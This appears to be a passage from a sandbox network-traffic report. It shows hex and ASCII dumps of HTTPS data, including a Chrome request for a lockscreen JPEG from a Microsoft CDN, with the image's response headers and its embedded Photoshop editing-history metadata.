2022-05-26 11:46:49 UTC 6622 IN Data Raw: 59 d4 11 c6 4c 6f 73 f6 b6 c0 f6 40 11 ff 00 a6 c1 87 6a 9d 2b d4 a7 f2 39 ec c5 d2 0a 07 11 c2 a5 09 92 1a 2f 
e3 a1 ad e6 72 88 d6 05 2b e1 7c be 9b ca 10 48 1d 6b 6f 04 10 9c 82 a1 36 ea b6 ed d6 6d 1d f5 1c 53 1c 9b 7c 2c c4 2f 
a6 d6 24 41 fc 6b cc ec eb c9 a5 70 c4 f3 30 e1 e4 61 7c 4a e0 e4 00 b2 f7 34 e8 7f 0a 55 70 e4 e9 79 42 78 0c 78 e5 8e 
54 65 0c bb 64 44 5a f0 7b ce b5 7d b5 e4 88 ae 32 6b ae 7f 5c 26 4d f6 37 8e ee c3 f1 ae 76 9a c1 ac c9 70 e1 2c 00 1a 
1b 8e ee fa c1 b9 1f 1f 40 36 45 cb 0e db 57 68 f3 6e ed fe 74 92 81 36 29 70 ff 00 97 8d 59 44 58 92 41 fa 88 bc 1e fa d5 
36 84 e8 65 73 f6 ab 22 cd ee 41 ed 1a 0e ff 00 1a ea a9 3a 1d ee 3e c7 8f 12 a6 2e 52 82 ec 80 87 13 af 71 b4 f7 d4 53 
b6 5e 3c 09 a3 2f 2f b4 f1 f0 c1 50 c7 42 41 26 09 
Data Ascii: YLos@j+9/r+|Hko6mS|,/$Akp0a|J4UpyBxxTedDZ{}2k\&M7vp,@6EWhnt6)pYDXA6es"A:>.RqS^<//PBA&

2022-05-26 11:46:49 UTC 6638 IN Data Raw: 69 9b d6 cf 4d 14 57 8f c9 7c cb c8 54 f2 b1 8d b2 01 00 56 4e 12 34 2d f1 ca f1 58 b7 30 6e 04 dc 83 b9 a3 c3 
af fd 55 0f da 29 05 9b 83 c7 e5 9d bc 62 58 c0 3b c3 5a 7b 20 d7 7b 75 75 97 8f a9 cb 16 4c ac 3d bc 71 e4 87 05 d4 80 
ca 3b 0f c6 fa 56 1c aa f4 69 0c 1c dc 6c 6c 37 09 95 b9 17 f9 8f e1 4e 8d 21 59 06 59 00 90 6c 0f 5b 49 3a 4d 35 54 85 
2d 92 bc 9c 4a 4f a3 aa 8f 31 eb 36 3a ff 00 2a 96 9a 2e 45 b6 52 24 32 95 42 64 8d 05 bc 22 86 9a f2 24 57 7e 30 68 38 
87 98 ac 91 d4 c5 4e 03 3e 00 e2 bb 07 96 67 99 86 eb 70 7b 0e 94 b8 a2 79 1a 59 39 c3 90 e0 63 45 dc 04 c4 86 32 3a 
e9 d2 b2 e2 0d 95 d7 2b f2 00 ca b8 f5 1d 08 d3 ad 8f 75 5a c6 85 c9 85 8b 17 f9 38 5f 33 62 19 62 41 51 33 7b 0f 9f 4a 
1b 72 43 bf b4 2b 1f b7 7a 0c d8 c1 28 32 00 19 44 18 ee 
Data Ascii: iMW|TVN4-X0nU)bX;Z{ {uuL=q;Vill7N!YYl[I:M5T-JO16:*.ER$2Bd"$W~0h8N>gp{yY9cE2:+uZ8_3bbAQ3{
JrC+z(2D

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 6654 IN Data Raw: 94 04 9d 93 0b 60 3b 94 15 0c 25 6d 62 3c 7b 2a a4 0e c5 98 b5 9c 92 b6 bf 5f 85 0d 0d 31 f3 81 40 d8 ec 7a 
9d cb 03 bc 6b 52 81 c0 c1 0c 77 33 c6 97 89 b7 c2 88 10 0c 36 dd 0c 8b 82 60 f5 b1 a7 03 21 30 86 f2 a9 6d fd 21 67 4f 
c2 d4 d8 21 eb 39 5d 50 e3 69 4b 34 75 3d a7 a5 aa 1a 28 b1 83 23 63 30 41 70 64 75 11 13 f0 bd 67 08 a8 21 53 cf ea 
65 2e ad d0 ed b7 e2 2d 40 71 15 9f 26 44 86 f5 00 1d a4 10 0f 77 51 56 94 10 d1 4b 17 b9 2b 1d ce c7 70 fd 3b a2 23 e1 
5b 3a 13 23 9b 3e 3c cc 19 c1 ed 93 79 3d 3e 35 9c 40 10 c5 4c 7a 70 10 83 b8 02 44 8a 6b e4 62 ce ec 60 84 62 6e 6d 
fe 94 e4 99 04 36 e8 90 00 d4 da 89 00 5e 09 f0 b0 d4 5a 69 30 90 1b 02 30 91 90 80 4e 91 59 84 80 bc 46 06 41 93 d2 7
a d5 a6 2e 43 3d 2c 81 4a f9 44 fd f4 f9 13 c8 84 e3 90 e1 98 45 
Data Ascii: `;%mb<{*_1@zkRw36`!0m!gO!9]PiK4u=(#c0Apdug!Se.-@q&DwQVK+p;#[:#><y=>5@LzpDkb`bnm6^Zi00NYF
Az.C=,JDE

2022-05-26 11:46:49 UTC 6661 IN Data Raw: 59 ba e4 71 28 b2 9c ec 98 b1 12 99 18 64 76 dd 1b bb 2d 71 a4 8f d3 d9 d9 43 a6 49 ad a0 5f f9 bc 90 0e 35 
27 fb 8b 04 9d 08 07 bf b3 bb ad 57 1f 45 a6 20 65 cc bb b1 a3 10 af 01 a1 6d fc a9 c4 99 d9 10 43 62 6f 4c 82 09 68 dd 
10 23 ed 73 5a 24 64 41 27 1f 9b 73 17 06 01 9b 5b b0 ea 3b a8 e3 21 a1 9f e6 b3 65 56 c8 66 41 59 37 3a 40 93 f2 a8 
e1 1a 36 56 2d fb 6f 18 72 f2 48 b8 53 24 1d 4c c8 ed d0 58 d4 b7 08 d1 64 f4 de db 87 fc 5c 3e 8b 6a b3 3d f5 cd 65 25 
2c 6c b8 8a 7e 9d 14 dc 0a 96 6a 8c 9f 78 cd 91 50 0c 60 91 3f ca b4 a2 92 3b 0f 33 c8 7c b9 1c b1 c7 38 fa 95 59 03 bc 
f7 f7 d7 52 47 1b 72 27 89 e9 12 31 f2 03 84 93 e6 c6 41 33 d2 55 ac 57 ba 8b ac 10 6f bf b4 66 38 06 7e 3e 54 e4 f1 c4 
48 0b e9 64 b6 92 8e 3a 7f c4 d5 c4 bb 14 c3 c1 a9 4b 8b c8 
Data Ascii: Yq(dv-qCI_5'WE emCboLh#sZ$dA's[;!eVfAY7:@6V-orHS$LXd\>j=e%,l~jxP`?;3|8YRGr'1A3UWof8~>THd:K

2022-05-26 11:46:49 UTC 6677 IN Data Raw: ff 00 81 d1 5a c9 77 da 38 fe e0 73 37 23 d5 6c 29 f5 2e 40 0a 9d 7e ad a2 4e dd 2b 1b ba b5 83 45 25 cf 76 f7 
ae 5a a0 18 f3 b3 e0 04 a9 f5 20 a1 04 0f 36 d8 b0 9f be f5 14 aa 13 6d 9e 5b 93 eb f2 5c b2 62 0e 5c fd 4a a4 ee 24 46 
97 1e 11 e3 ad 77 d6 f5 5b 66 5c 59 73 85 ee 39 7d a0 4e 3c 58 d1 d5 44 b8 46 dd 3d b2 4e ef 84 fc 2b 3b d1 5b c8 d3 8f 
06 86 1f df 3e f3 04 e2 2c 35 04 43 1d 75 bb b1 20 1e b5 8f f5 6a 5f dc 67 93 f7 0c f9 79 39 4e 56 01 4c c1 da 00 fb 85 bf 
3a f4 3a d4 1c d6 72 3d 32 1e 30 02 65 58 83 26 23 f0 a7 12 64 ac 5b 5f 72 e4 90 c7 0f d1 10 d0 d1 6f 0e da c5 f5 27 b3 
7e 45 56 ba 2b ba b1 27 56 2c 35 d6 35 ff 00 cd 5a 6b 42 03 23 e4 e0 1d a7 74 dc 15 63 68 8b 03 15 a2 fd c4 b5 05 a4 f7 
7e 47 19 c3 19 c7 90 10 64 18 81 6b c2 c7 4a 1d 02 
Data Ascii: Zw8s7#l).@~N+E%vZ 6m[\b\J$Fw[f\Ys9}N<XDF=N+;[>,5Cu j_gy9NVL::r=20eX&#d[_ro'~EV+'V,55ZkB#
tch~GdkJ

2022-05-26 11:46:49 UTC 6693 IN Data Raw: 0e c1 fc 29 ba 64 39 0e 4f 78 c1 93 cb f4 9e c2 05 cd 43 50 52 65 a0 9e ae 8a a6 74 12 3f 08 9a cd dd 17 c4 
6b fb 7e 1c e3 6b b0 52 c0 e9 20 8f 81 14 9d e1 15 c4 a1 9f d8 39 7c 55 2e 24 81 30 c2 40 f8 93 00 51 5e d9 21 d0 cf 73 
97 08 d7 26 f2 09 95 3d b6 8b 0b 5f be b6 94 c8 86 81 c3 83 94 72 a8 29 19 26 77 35 c0 1d fb ad 44 a0 c9 ab ec f8 b9 f8 
79 7f e4 71 93 76 47 b3 00 a6 2e 7b ac b5 9d 9a b6 0a 49 9e d5 b0 9c e3 fb e4 07 03 a8 dd 1d df 0a c3 28 a6 bd 83 8b da 
13 33 15 da bb 08 2d 0b 23 e3 1d 69 cb 59 26 0c 1f 72 f6 65 e7 f3 cf 10 0d f8 94 06 fe ea c8 11 d2 41 9b f8 f8 d7 45 2f 15 
92 5a cc 15 9b f6 af 13 8b 98 60 ff 00 1d 59 58 c0 3b da 07 88 5d 2a 57 63 66 8d 1a bc 6f db cf c6 c7 e9 62 4c 21 6c 48 
2e df 29 ac 5f 60 95 20 17 f6 2e 50 04 af a6 a4 9f 29 
Data Ascii: )d9OxCPRet?k~kR 9|U.$0@Q^!s&=_r)&w5DyqvG.{I(3-#iY&reAE/Z`YX;]*WcfobL!lH.)_` .P)

2022-05-26 11:46:49 UTC 6701 IN Data Raw: 80 4d cf 9b 64 0e 8a 7f 13 6a 6e d0 09 49 77 06 06 88 ca d2 66 de 61 1f 10 45 65 ca 4b 82 ca e2 67 3f db 3e 
68 37 25 4c 78 54 bc e8 a5 82 df 0b 16 47 46 0f 9c 89 10 06 fe 9f 02 20 d5 a6 c8 61 e4 c0 cf 89 95 f2 b3 49 d1 8f e0 03 0f 
be a8 0a e7 7e 12 f8 d5 59 96 23 71 d8 a7 fe 53 7b 76 da a1 bf 05 41 4b 98 d8 f2 ee c7 87 77 97 ea 0a f3 f9 49 f0 9a a4 
c5 06 2e 77 18 9a 00 2a c0 1f 34 08 d3 4f e7 5a a6 4b 07 1a 9c ca d8 c9 00 ea 0c 10 4f 88 ff 00 4a b6 9b 0a b4 8a 09 c9 
c9 ed fc d1 89 d5 72 7a e4 fa 6e 60 df aa ea 4c f5 ef a7 5c 68 6f f7 17 c6 54 67 dc db 62 4c 82 eb b6 62 dd 4e 95 7b 21 97 
30 26 4c 82 01 c3 85 58 ce e2 76 98 ee 13 7a 5a 19 67 06 0e 2f 1a d8 0f 1d cd 9c 7e 9f 3f 5b ab 7e 55 00 cb 98 f2 f2 1f 12 
ba 64 54 50 d0 de 9b 00 4f 89 8d df 11 f1 a2 45 
Data Ascii: MdjnIwfaEeKg?>h7%LxTGF aI~Y#qS{vAKwI.w*4OZKOJrzn`L\hoTgbLbN{!0&LXvzZg/~?[~UdTPOE

2022-05-26 11:46:49 UTC 6717 IN Data Raw: f5 59 f7 a9 2c 76 30 3f a6 04 a9 5e d9 a3 ad 2e 38 61 65 93 26 3d c3 dd 32 e4 cb c4 e3 be 52 20 31 c6 ad 00 
e9 ad ef db 5a 4c 2d 99 aa c8 47 1f 37 db 72 aa 72 f1 9c 6e f1 e5 70 ca 48 3d 41 ed f0 a8 e4 9f 93 44 a0 b3 93 06 5c 80 
b7 1b 21 dd 36 1d 86 7f 4f 51 42 b4 6c b6 84 0e 27 ba 39 b2 b3 0d 24 46 9e 27 f0 ad 65 11 0c d0 fd b9 c1 e6 af ee af 6e 
7c be a7 1f fb 81 03 a8 03 5b a8 27 40 0b 7d 5e 35 8f 6b 5c 5c 7a 35 aa c9 ea 79 0e 70 7e e4 e4 26 64 38 70 fa f9 37 45 
b2 63 69 bd fe 97 87 ed d5 2b 87 ad cd 31 f8 1a db 0c d5 f7 1c 2d c8 f6 c4 e5 e0 23 2e 6e 1e 53 c6 cc 71 5c 15 89 c3 9b 
5b 2b af 93 fe 25 ed ae 7a 59 d6 d0 ff 00 f2 d7 fc 8b da 95 e0 cc 3c a6 cb c6 c7 85 d9 c9 c6 0a ae 9e 50 6f a7 73 5e bb d2 
86 63 26 87 38 e7 ce 13 93 8b 79 19 17 76 df 48 ac 10 
Data Ascii: Y,v0?^.8ae&=2R 1ZL-G7rrnpH=AD\!6OQBl'9$F'en|['@}^5k\\z5yp~&d8p7Eci+1-#.nSq\[+%zY<Pos^c&8yvH

2022-05-26 11:46:49 UTC 6733 IN Data Raw: 7e 15 0e c3 81 4f ec 3b e0 e0 21 72 5f c2 6a 95 da d9 2e 85 1e 4f b7 f2 f1 29 39 02 94 9f 34 89 1f 91 06 b5 56 
a9 9b ab 33 32 f0 f2 39 2d 89 71 1f f8 4c 6b db e1 5a cd 19 9f 1b 0a e3 0f 47 29 6d 81 5e 62 41 91 1f 1e a6 95 eb c9 44 
c8 d3 83 d1 72 71 e2 f7 62 8b 8c 65 47 54 85 38 d2 77 c6 9b 80 d4 81 6d ea 6f 5e 1d 6c fa 27 93 51 3e 7f f1 fa 7a 3d 0c 5f 
c3 12 be dd 9f 84 eb fe 42 be 10 ff 00 4b 30 00 da e6 c0 c8 3e 35 ab ef ad d4 d7 26 37 eb 75 f0 1a f2 0a 37 f6 ee 58 c6 e7 
3a 9f 0a 87 5f 2c c1 2f 67 a3 f6 de 46 0f 71 c4 7d ab dc 91 5e 2f 89 8f d4 b6 ba 88 32 2c 24 78 57 cf 7f 2a 96 ea b7 dc eb 
c7 fe cb d9 e9 f4 d9 76 7e d7 f8 19 6d ed 79 3f 6e f3 b1 f3 3d 22 fc 75 70 7d 44 12 ae a7 ea 56 1f ee 52 c2 0d ab d2 af f2 
97 f2 7a dd 5e 2d 04 f0 fb 6e 7c 1f 44 fd 
Data Ascii: ~O;!r_j.O)94V329-qLkZG)m^bADrqbeGT8wmo^l'Q>z=_BK0>5&7u7X:_,/gFq}^/2,$xW*v~my?n="up}DVRz^-n|D

2022-05-26 11:46:49 UTC 6741 IN Data Raw: 99 77 63 6d 93 d8 26 d5 32 c4 66 67 e4 73 73 02 c7 33 00 7b 07 4e ea 39 12 57 1c ae 7a 4b b7 25 e4 0b 02 
49 b6 9d 95 a7 24 12 0e 4c dc ae 50 29 97 27 91 6f 20 ed f8 da 86 84 ec 6b 7b 7f 2f 3f 1c 02 9c 87 70 4c 05 76 04 b7 64 
da 40 ae 7b 31 af 93 71 7d d7 82 aa a7 92 b9 31 b1 8b 6d fc 60 9f c2 a3 95 be a5 a7 53 47 8e bc 0e 50 27 17 25 20 5b 6b 
18 20 f8 45 1c ec bc 1a f1 5e c6 7f db 83 7d 0e 8c 0c c1 0c a6 7e fa 5f 71 8b 89 2f c6 c7 c7 95 c8 e0 46 a0 47 f1 aa 57 6c 
4d 40 bd fc 3c 47 72 ac b7 8e 86 8e 4c 91 0f c9 42 76 a2 85 04 49 80 41 fb cd 11 ec 87 62 1b 9d ea 2c 22 88 ea 49 9f 90 
1a 0a 61 27 0e 59 71 05 44 44 58 99 fb ea 47 25 5c 99 f3 06 2a 12 42 fd 27 a8 f8 56 f5 88 32 76 b2 2b ee ca 18 06 20 9e 
f3 60 3b eb 54 65 96 39 72 5e e4 83 da 6d fe a2 a0 d5 20 
Data Ascii: wcm&2fgss3{N9WzK%I$LP)'o k{/?pLvd@{1q}1m`SGP'% [k E^}~_q/FGWlM@<GrLBvIAb,"Ia'YqDDXG%\*B'
V2v+ `;Te9r^m 

2022-05-26 11:46:49 UTC 6757 IN Data Raw: 33 a1 65 78 b2 eb 1d e3 a4 f8 d6 8e 8a a8 93 d1 bf 31 5b 0c 10 0b b1 12 c1 36 9b fd df 2a e4 4b 26 93 82 9e 
5e 3e 02 9e 55 0a eb 7b b1 04 fc f5 f9 56 a9 bd 99 3b 16 f1 71 37 61 2a cc a5 e2 76 88 04 80 3b 62 3c 29 3c fb 1c c9 9d 
cc c1 87 8d 80 a6 2c a4 ab 0f 31 00 31 5e eb 9f c2 95 5a 6c 22 0c f4 e4 64 6c 63 0e 22 14 0d 60 41 3e 3a d7 4b 48 72 42 
72 72 ab c6 45 20 69 d2 ff 00 03 49 89 31 99 3d c4 85 18 50 c0 1a 2e b7 ac d2 1b 2c 26 1c ca a0 32 91 37 bf cf 5a 99 43 
43 32 b6 7d 81 72 4a 6a 7c 7b 63 f8 54 24 81 8f c5 81 f2 e2 1c 94 c2 7d 08 21 5c 8f 2e e0 7a cd 39 45 46 09 cb 88 f2 4c 0f
39 03 51 63 e0 29 cc 08 66 2c 5c 95 4f 4b 12 12 14 8f 2a ac c7 6c 98 ac 9c 4c b1 6c c5 e7 c7 f9 47 1b a1 42 a4 79 4c 95 
9e a6 df 63 5d 94 6a 24 4c 48 e4 26 11 00 81 26 c1 69 
Data Ascii: 3ex1[6*K&^>U{V;q7a*v;b<)<,11^Zl"dlc"`A>:KHrBrrE iI1=P.,&27ZCC2}rJj|{cT$}!\.z9EFL9Qc)f,\OK*lLlGByLc
]j$LH&&i

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 6773 IN Data Raw: 15 a2 24 05 3b 6d a5 fb 66 a6 d9 04 92 2b e4 c7 8b 5c 4c d3 33 f0 f8 75 ab 4f d8 9d 63 43 f0 ab 32 9f 50 ef 8b 
dc 4d 64 d9 69 7b 34 31 f3 46 1c 25 b1 c0 3d 44 01 fc eb 27 53 54 f0 2b 91 c8 3e e6 67 20 85 1a 13 2c 49 b5 b7 55 25 c7 
45 d5 c9 ca 31 32 80 48 24 03 3d b6 f8 52 72 36 91 ad ed fc cc fc 1c 2c dc 7c 6c cb 00 92 06 82 75 37 d3 bf e7 5c b6 ac 
89 a2 db fb 86 0e 67 9b 32 e1 9e dc c4 80 4c 5a 49 11 ff 00 8b be a7 8b 4f 04 41 57 91 ec 7c 5e 7a fa 58 54 63 cc 27 cc 
c6 07 fc 2d b7 cb 6f eb 59 9e b5 75 bb af c8 9d 4f 3f c8 e0 94 f2 1f fd 4c 64 a9 06 fa 77 e9 de 23 a5 74 d6 e6 4d 14 18 e4 
57 9c 85 81 f9 4f e5 5d 0a 19 21 2e 40 27 6c cc c8 3e 14 a0 65 cc 3c d3 89 d8 34 32 64 bb 76 83 3d 3b 35 fb 45 4f 11 c8 
8e 56 26 e3 e4 88 3b 58 4a 4f 67 c3 b2 84 39 27 86 
Data Ascii: $;mf+\L3uOcC2PMdi{41F%=D'ST+>g ,IU%E12H$=Rr6,|lu7\g2LZIOAW|^zXTc'-oYuO?Ldw#tMWO]!.@'l>e<
42dv=;5EOV&;XJOg9'

2022-05-26 11:46:49 UTC 6779 IN Data Raw: b2 91 70 51 ae 41 1f ca b9 ec 68 0f 13 de 72 70 d9 8e 50 19 f5 0a 23 70 3d 9f ee f8 c3 56 4e 8a da 29 60 b5 
9b df 78 ce 00 44 df b8 80 c8 10 18 27 fe 9e ba 8a 9f b2 e4 ae 48 b0 30 63 f6 fc 2d 8f 24 2b 65 dc d9 0a 58 85 8b 05 9f c2 
b0 db fa 0c cb e2 85 c4 32 ba 06 6b 10 19 0d c4 fc 0f c5 bb 74 ad 76 22 70 64 c7 8f 11 2d 98 e3 c9 85 41 55 60 1c 0e e2 
a7 eb 8f f6 f9 ba d6 89 36 12 34 fb a2 96 5c b9 71 da 21 5a ec 8c 7b 55 ec c8 e0 6a b6 6e ea d1 d1 a1 4a 2c f2 70 71 3d 
e5 17 90 1c 86 65 12 e4 5e 3a 86 8b 9b fe b5 ff 00 9c 0a 86 dd 5e 07 b3 1b 27 1d f8 2e be 8e 45 7c 6a 23 f4 90 41 e9 7b 
1a 6a e9 ec 8b 55 ad 1a 4c ef c9 c6 39 98 31 e3 46 c4 0a ed 3b 5b 78 eb a7 51 42 85 8f 02 93 b9 4a 79 bc 53 c9 71 8f 1b 
19 db 79 24 8e f2 63 ee ac d5 61 c0 e6 51 95 9d 5f 68 
Data Ascii: pQAhrpP#p=VN)`xD'H0c-$+eX2ktv"pd-AU`64\q!Z{UjnJ,pq=e^:^'.E|j#A{jUL91F;[xQBJySqy$caQ_h

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

107 192.168.2.4 49873 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:49 UTC 2304 OUT GET /cms/api/am/imageFileData/RWP8kk?ver=8c62 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-26 11:46:49 UTC 2356 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWP8kk?ver=8c62
Last-Modified: Tue, 24 May 2022 09:52:40 GMT
X-Source-Length: 1829994
X-Datacenter: northeu
X-ActivityId: f9a052b5-b664-4140-9567-be41ca57b57f
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1829994
Cache-Control: public, max-age=252402
Expires: Sun, 29 May 2022 09:53:31 GMT
Date: Thu, 26 May 2022 11:46:49 GMT
Connection: close

2022-05-26 11:46:49 UTC 2356 IN Data Raw: ff d8 ff e1 13 12 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 34 3a 33 34 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:54:348"

2022-05-26 11:46:49 UTC 2388 IN Data Raw: 3a 61 35 39 62 32 66 34 38 2d 39 63 62 38 2d 66 31 34 66 2d 39 61 36 37 2d 66 37 36 31 32 64 31 61 64 61 
62 32 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 31 35 2d 30 34 2d 32 39 54 31 32 3a 31 38 3a 33 35 2d 30 37 3a 
30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 
20 43 43 20 32 30 31 34 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 2
0 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 
61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 64 64 38 33 61 66 34 35 2d 39 66 63 39 2d 64 66 34 66 2d 39 64 64 65 
2d 62 61 66 39 30 32 38 32 62 32 31 65 22 20 73 74 45 76 74 3a 77 68 
Data Ascii: :a59b2f48-9cb8-f14f-9a67-f7612d1adab2" stEvt:when="2015-04-29T12:18:35-07:00" stEvt:softwareAgent=
"Adobe Photoshop CC 2014 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid
:dd83af45-9fc9-df4f-9dde-baf90282b21e" stEvt:wh

2022-05-26 11:46:49 UTC 2420 IN Data Raw: 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 44 3a 5c 57 6f 72 6b 5c 57 69 6e 31 30 2d 4c 6f 63 6b 73 63 72 65 65 
6e 73 5c 5f 4c 41 54 45 53 54 74 72 61 6e 73 66 65 72 2d 4e 65 77 43 6f 6d 70 75 74 65 72 5c 54 65 6d 70 6c 61 74 65 
73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 31 2e 70 73 64 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 3
1 36 2d 30 37 2d 32 37 54 31 32 3a 30 32 3a 32 33 2d 30 37 3a 30 
Data Ascii: :00&#x9;File D:\Work\Win10-Lockscreens\_LATESTtransfer-NewComputer\Templates\Lockscreen_
1920x1080_Landscape1.psd saved&#xA;2016-07-26T18:23-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lo
ckscreen_1920x1080_Landscape.psd saved&#xA;2016-07-27T12:02:23-07:0
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2022-05-26 11:46:49 UTC 2447 IN Data Raw: 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 30 32 37 32 35 37 5f 31 39 32 30 78 
31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 37 3a 32 35 3a 32 38 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 
61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 
35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 50 72 6f 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 
31 30 32 37 32 35 37 5f 31 39 32 30 78 31 30 38 30 46 39 31 42 31 36 31 39 42 41 33 46 39 44 43 37 45 32 32 46 45 38 
37 35 31 32 32 39 36 34 36 30 2e 70 73 62 20 73 61 76 65 64 26 23 
Data Ascii: ndowsPro_GettyImages-641027257_1920x1080.jpg saved&#xA;2016-08-04T17:25:28-07:00&#x9;File 
C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_WindowsPro_GettyImages-
641027257_1920x1080F91B1619BA3F9DC7E22FE87512296460.psb saved&#

2022-05-26 11:46:49 UTC 2570 IN Data Raw: 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 46 61 
6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 38 38 36 33 30 32 31 5f 31 
39 32 30 78 31 30 38 30 31 39 38 36 36 37 31 38 41 31 33 33 41 37 43 36 32 33 37 33 39 35 38 31 45 42 31 33 39 30 42 
39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 36 54 31 30 3a 31 33 3a 35 39 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 7
3 31 30 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 
47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 30 37 31 37 36 31 30 5f 
Data Ascii: e Photoshop CC 2015.5\AutoRecover\_FallEntertainment_GettyImages-478863021_1920x10801986
6718A133A7C623739581EB1390B9.psb saved&#xA;2016-09-26T10:13:59-07:00&#x9;File C:\Users\v-lizagh\MS\W
indows10\FallEntertainment\FallEntertainment_GettyImages-540717610_

2022-05-26 11:46:49 UTC 2602 IN Data Raw: 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 
76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 32 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 6
4 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 
32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 36 2d 31 31 2d 31 36 54 31 33 3a 35 34 2d 30 38 3a 30 
Data Ascii: 47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:52:11-08:00&#x9;File C:\Users\v-
